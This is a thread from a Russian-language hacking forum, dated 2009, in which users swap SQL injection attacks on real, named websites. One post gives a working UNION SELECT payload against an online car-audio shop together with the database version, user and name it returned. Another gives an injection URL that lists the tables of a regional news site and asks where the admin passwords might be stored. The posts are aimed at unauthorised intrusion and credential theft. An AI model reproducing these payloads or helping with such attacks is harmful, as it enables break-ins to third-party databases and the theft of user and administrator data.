11.10.2009, 18:41
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
А в чем разница твоей сслыки и вот этой?
http://www.avtomagnitoly.ru/?bOrdersLook=1
|
|
|
11.10.2009, 19:01
|
|
Banned
Регистрация: 02.01.2009
Сообщений: 29
С нами:
9133839
Репутация:
85
|
|
http://www.avtomagnitoly.ru/?bOrdersLook=1' на той которой дал показал что там скула и спрашиваю в каком направление расшарить её!
|
|
|
|
11.10.2009, 19:05
|
|
Участник форума
Регистрация: 07.08.2008
Сообщений: 281
С нами:
9347610
Репутация:
165
|
|
Сообщение от ^YaHoo^
http://www.avtomagnitoly.ru/?bOrdersLook=1' на той которой дал показал что там скула и спрашиваю в каком направление расшарить её!
Это не SQl inj.
ТС ты чуиш разницу между этим
http://www.avtomagnitoly.ru/?bOrdersLook=1'
и этим
http://www.avtomagnitoly.ru/?bOrdersLook=1
Как я вижу, разницы здесь нет
т.е. на запрос нельзя повлеять т.к. нет выводимых полей и сам скрипт функцианирует неправельно
|
|
|
|
11.10.2009, 19:20
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
С нами:
9846041
Репутация:
1177
|
|
Сообщение от ^YaHoo^
http://www.avtomagnitoly.ru/?bOrdersLook=1' на той которой дал показал что там скула и спрашиваю в каком направление расшарить её!
Тама скули нету.
Зато она есть здесь:
http://www.avtomagnitoly.ru/?strSearchForValue=1'/**/union/**/select/**/concat_ws(0x3a,version(),user(),database())/*
5.0.27:eshop@localhost:eshop-avtomagnitoly
Последний раз редактировалось Tigger; 11.10.2009 в 19:22..
|
|
|
|
11.10.2009, 19:05
|
|
Участник форума
Регистрация: 17.05.2008
Сообщений: 102
С нами:
9466141
Репутация:
74
|
|
Разницы между твоей страничкой и страничкой которую дал пашкела никакой и скули там никакой!
|
|
|
|
12.10.2009, 00:31
|
|
Постоянный
Регистрация: 12.05.2009
Сообщений: 395
С нами:
8947056
Репутация:
229
|
|
Как боротся с такими каракулями чтобы был нормальный html ответ?
К примеру: http://img185.imageshack.us/img185/3456/20699052.jpg
Если же взять другой сендер то какой лучше брать для этого дела?
|
|
|
|
12.10.2009, 00:53
|
|
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
С нами:
9780227
Репутация:
1423
|
|
Сообщение от wolmer
Как боротся с такими каракулями чтобы был нормальный html ответ?
К примеру: http://img185.imageshack.us/img185/3456/20699052.jpg
Если же взять другой сендер то какой лучше брать для этого дела?
Удали Accept-Encoding. Всю стороку нафиг с пакета
|
|
|
|
12.10.2009, 12:45
|
|
Познающий
Регистрация: 21.01.2009
Сообщений: 98
С нами:
9107354
Репутация:
122
|
|
Скажите пожалуйста, а может быть такое что паролей на админку нет в базе?
Перерыл уже всё что можна, нашол только на юзеров.
Вот таблы:
Код:
http://www.berdyansk.su/view_news.php?id_news=-12573%20union%20select%201,2,3,4,5,group_concat%28table_name+separator+0x0a%29,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20FROM%20INFORMATION_SCHEMA.TABLES+where+table_schema=0x6265726479616e735f676f72706f7274616c%20--
|
|
|
|
12.10.2009, 13:10
|
|
Участник форума
Регистрация: 14.11.2008
Сообщений: 149
С нами:
9204308
Репутация:
256
|
|
Сообщение от TELO
Скажите пожалуйста, а может быть такое что паролей на админку нет в базе?
Перерыл уже всё что можна, нашол только на юзеров.
Вот таблы:
Код:
http://www.berdyansk.su/view_news.php?id_news=-12573%20union%20select%201,2,3,4,5,group_concat%28table_name+separator+0x0a%29,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20FROM%20INFORMATION_SCHEMA.TABLES+where+table_schema=0x6265726479616e735f676f72706f7274616c%20--
Конечно может 
|
|
|
|
12.10.2009, 14:10
|
|
Banned
Регистрация: 14.01.2009
Сообщений: 515
С нами:
9116877
Репутация:
468
|
|
пароль может быть в файле или щашит в сам скрипт.
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
